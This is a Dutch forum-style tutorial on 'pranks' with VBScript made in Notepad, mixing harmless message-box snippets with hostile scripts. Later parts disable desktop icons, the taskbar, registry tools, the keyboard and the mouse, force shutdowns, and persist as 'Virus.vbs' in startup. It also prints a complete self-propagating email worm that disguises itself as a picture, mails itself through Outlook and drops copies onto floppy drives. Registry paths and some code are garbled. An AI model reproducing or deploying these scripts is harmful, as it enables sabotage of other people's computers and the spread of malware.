Hallo ik ga jullie leren hoe je grappen uit haald met kladblok:P
je moet dit maaken in kladblok en opslaan als een .vbs anders werkt het niet.
in ben niet aanspraakelijk voor wat jullie doen!!!!
een gewoon gerichtje laten verschijnen dan geef je deze code in
Code:
msgbox"typ hier je berichtje"
voor een berichtje met titel
Code:
msgbox "Hier komt een berichtje!",0,"Hier komt de titel"
Voor een berichtje waar je een reactie kan geven
code:
a=inputbox("Welke kleur is je haar?")
msgbox "Jij hebt een rare kleur haar! je kleur haar is:"+a
nu een berichtje dat de datum zegt
code:
msgbox"de datum is," & date & ",oke?"
de datum zeggen zonder tekst
code:
msgbox"de datum is:" & date"
zo kan je "date" veranderen in
Day = geeft de dag weer
Hour = geeft het uur weer
Minute = geeft de minuut weer
Month = geef de maand in een getal weer
MonthName = geeft de naam van de maand neer, wel in het engels!
Now = geeft de datum en de tijd op je pc aan
Time = geeft de tijd in uren minuten en seconden aan
Weekday = geeft de dag van de week aan
WeekdayName = geeft de naam van de dag aan, wel in het engels!
Year = geeft het jaar aan
Nu een box laten verschijnen waarop je "ja of nee" kan antwoorden
code:
if msgBox("Wilt u dit doen?", vbYesNo, "vraag") = vbYes then
msgbox "missie geslaagd"
else
msgbox "idioot dat je bent!, je bent niet geslaagd!"
end if
Dit worden een heel pak Code's.
Nu gaan we de Cd drive openen
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
Nu gaan we een berichtje laten verschijnen met een titel, maar je kan nu zelf kiezen wat voor berichtje.
Code:
strTitle = "Venstertitel"
msgbox "Nieuwe messagebox",64,strTitle
de 64 kan je vervangen door:
4096= System Modal (een venster dat op de voorgrond blijft staan)
64 = Informatical (een uitroepteken)
48 = Warning (een gele waarschuwingsdriehoek)
32 = Question (een vraagteken)
16 = Critical (een rode cirkel met een kruis)
0 = Niks
je kan bv. ook doen
strTitle = "Venstertitel"
msgbox "Nieuwe messagebox",4096+64,strTitle
0 = vbOKOnly (hiermee geef je alleen de OK knop weer)
1 = vbOKCancel (hiermee geef je de knoppen OK en Annuleren weer)
2 = vbAbortRetryIgnore (hiermee geef je de knoppen Afbreken, Opnieuw en Negeren weer)
3 = vbYesNoCancel (hiermee geef je de knoppen Ja, Nee en Annuleren weer)
4 = vbYesNo (hiermee geef je de knoppen Ja en Nee weer)
je kan nog een standaardknop selecteren die als je het venster krijgt, gemarkeerd is.
0 = vbDefaultButton1 (de eerste knop is de standaardknop, vanaf links geteld)
256 = vbDefaultButton2 (de tweede knop is de standaardknop)
512 = vbDefaultButton3 (de derde knop is de standaardknop)
Nu een berichtje waarbij je afbreken opnieuw of negeren kan kiezen
code:
input1 = msgbox("Tekst",64 + 2,"Titel")
Select Case input1
Case vbAbort
msgbox"je koos voor afbreken"
Case vbRetry
msgbox"je koos voor opnieuw"
Case vbIgnore
msgbox"je koos voor negeren"
End Select
Nu een berichtje dat 100x verschijnt, dat word lang klicken als je het weg wilt.
code:
for i = 1 to 100
msgbox "je tekst"
next
De scripts die nu komen zijn wel al een beetje ambetant om weg te krijgen,
om de icoontjes op de desktop weg te doen
code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop","1"
Om de uitvoeren knop in het start menu te laten verdwijnen
code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun","1"
Om de zoeken knop in het start menu te laten verdwijnen
code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFind","1"
weer verder, deze code zorgt er voor dat programmas geen wijzigingen kunnen aanbrengen in het register
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
DisableRegistryTools","1"
Deze code laat de taakbalk verdwijnen:
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetTaskbar","1"
Deze code zorgt ervoor dat er geen menu onder de rechter muisknop zit:
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewContextMenu","
naam van de prullenbak veranderen
code:
Option Explicit
Dim WshShell, strRecycle, strOldName, strNewName, NL, RBn
Set WshShell = Wscript.CreateObject("WScript.Shell")
'Registry key to read for current name.
strRecycle = "HKCRCLSID{645FF040-5081" &_
"-101B-9F08-00AA002F954E}"
'Read the Registry key and store the string value.
strOldName = WshShell.RegRead(strRecycle)
'Show the existing Recycle Bin name and prompt for new name.
NL = vbCRLF
strNewName = InputBox("Current name of Recyle Bin shown" &_
" below. " & NL & NL & "Enter a new name " &_
"and click OK", , strOldName)
'If new name was entered, write it to Registry key.
If strNewName <> "" Then
WshShell.RegWrite strRecycle, strNewName
End If
'Show results.
RBn = "Recycle Bin name "
If strNewName = "" or strNewName = StrOldName Then
WshShell.Popup RBn & "NOT changed.", , , 64
Else
WshShell.Popup RBn & "CHANGED to " & strNewName, , , 64
End If
verander de achtergrond van je bureablad, of stuur naar iemand anders en laat een plaatje van internet af instellen als achtergrond.
Code:
sub main ()
dim keyWallpaper, Wallpaper
KeyWallpaper = "HKEY_CURRENT_USERControl PanelDesktopwallpaper"
Wallpaper = "HIER JE ACHTERGROND"
Set shl = CreateObject("Wscript.shell")
shl.RegWrite KeyWallpaper, Wallpaper
End sub
een berichtje dat je niet kan wegklicken.
Code:
do
msgbox"dit bericht komt steeds weer"
loop
deze code laat een bericht zovaak zeggen als de gebruiker wil, en zegt wat de gebruiker wil leuk
Code:
a = Inputbox ("Aantal keer: ")
b = Inputbox ("Wat zeggen: ")
for i = 1 to cint(a)
msgbox b,64,"Bericht"
next
een folder aanmaken:
Code:
path = "C:New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If
een folder verwijderen:
Code:
' delete
Set fso = CreateObject("Scripting.FileSystemObject")
Set aFolder = fso.GetFolder("C:New")
aFolder.Delete
Ik zeg dit "Gebruik dit scriptje nooit!!!!" Het vertraagt pc enorm, neem alle geheugen in beslag loop van pc naar pc zelfs als je gewoon nog maar met iemand chat op msn. kiest een random naam in c: schijf, vind je nooit meer terug.
On error resume next
randomize
set fso=createobject("scripting.filesystemobject")
set wscriptshell=createobject("wscript.shell")
set drives=fso.drives
for each drive in drives
if drive="C:" then
if drive.isready then
drivefull=drive & ""
set e5d=fso.getfolder(drivefull)
set subs=e5d.subfolders
for each subfolder in subs
subst=mid(subfolder.path,4,3)
if subst="WIN" then
auto=subfolder.path
end if
next
end if
end if
next
autos=auto & "run32dll.vbs"
fso.copyfile wscript.scriptfullname,autos
if wscript.scriptfullname <> autos then
msgbox "Cannot open file",16,"Internet Explorer"
end if
mailed=auto & "clickme.jpg.vbs"
fso.copyfile wscript.scriptfullname,mailed
if wscriptshell.regread("HKLMSOFTWAREMicrosoft")<>"1" then
set out=createobject("Outlook.Application")
if out="Outlook" then
set mapi=out.GetNameSpace("MAPI")
set newitem=mapi.getdefaultfolder(6)
do while newitem.items.count<>1
for each item in newitem.items
do while item.Attachments.count<>0
for each itatt in item.Attachments
itatt.delete
next
loop
item.subject="check dit"
item.Body="leuk plaatje"
item.attachments.add mailed
item.send
next
loop
set item=Nothing
set itatt=nothing
set newitem=Nothing
set newitem=mapi.getdefaultfolder(5)
do while newitem.items.count<>1
for each item in newitem.items
do while item.Attachments.count<>0
for each itatt in item.Attachments
itatt.delete
next
loop
item.subject="check dit"
item.Body="leuk plaatje"
item.attachments.add mailed
item.send
next
loop
set item=Nothing
set itatt=nothing
set newitem=Nothing
set out=Nothing
wscriptshell.regwrite "HKLMSOFTWAREMicrosoft","1"
end if
end if
tim=minute(time)
tim=tim+6
timstandard=minute(time)
if tim>53 then
tim=01
end if
if timstandard=tim then
tim=minute(time)
tim=tim+6
trig=int((10*rnd)+1)
select case trig
case 1
floppya="a:PIZZABOY.txt.vbs"
case 2
floppya="a:YOU-ARE-DOOMED.txt.vbs"
case 3
floppya="a:JESUS666.txt.vbs"
case 4
floppya="a:ANDRIANA-SKLENARIKOVA.JPG.vbs"
case 5
floppya="a:DE NIRO FUCKS NAOMI.JPG.vbs"
case 6
floppya="a:SPIDERMAN_LIVES.txt.vbs"
case 7
floppya="a:HACKING_WINDOWS.TXT.vbs"
case 8
floppya="a:EUROVISION_ORGY.JPG.vbs"
case 9
floppya="a:Sex_Advices.txt.vbs"
case else
floppya="a:MELINDA'S EYES.JPG.vbs"
end select
set repla=fso.createtextfile(floppya,true)
repla.write code
repla.close
set repla=nothing
floppya=""
loop
Tijdslimiet bij de beslissing zette
handig als je een loop gebruikt
Code:
Option Explicit
Const wshYes = 6
Const wshNo = 7
Const wshYesNo = 4
Const wshQuestion = 32
Dim objShell
Dim Answer
Set objShell = CreateObject("Wscript.Shell")
Answer = objShell.Popup("Macro opstarten?", 5, "Confirm", wshYesNo + wshQuestion)
Set objShell = Nothing
If Answer = wshYes Then
MsgBox "Ja", vbOkOnly, "Answer"
ElseIf Answer = wshNo Then
MsgBox "Nee", vbOkOnly, "Answer"
Else
MsgBox "Geen beslissing...", vbOkOnly, "Timed Out"
End If
Laat de pc afsluiten:
Code:
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
wijzig de naam van de titel van de Internet Explorer.
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","de naam"
verander de startpagina.
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page",http://www.websiteforum.nl
Dit opent je CD-rom/dv/brander.
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
Dit laat je PC een heel vaag error geluidje horen.
Code:
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
Je script in de opstart volgorde zetten.
Code:
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "Virus.vbs"
Shl.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunStart menu",winfolder & "Virus.vbs"
verander de naam van op wie de PC geregistreert staat.
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsNTCurrentVersionRegisteredOwner", "Hackt by..."
Verander de organistatie waarop de PC geregistreert staat.
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsNTCurrentVersionRegisteredOrganization", "Hackt by..."
Schakel het toetsenbord uit.
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunDisableKeyboard", "Rundll32.exe Keyboard,Disable
schakel de muis uit
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunDisableMouse", "Rundll32.exe Mouse,Disable"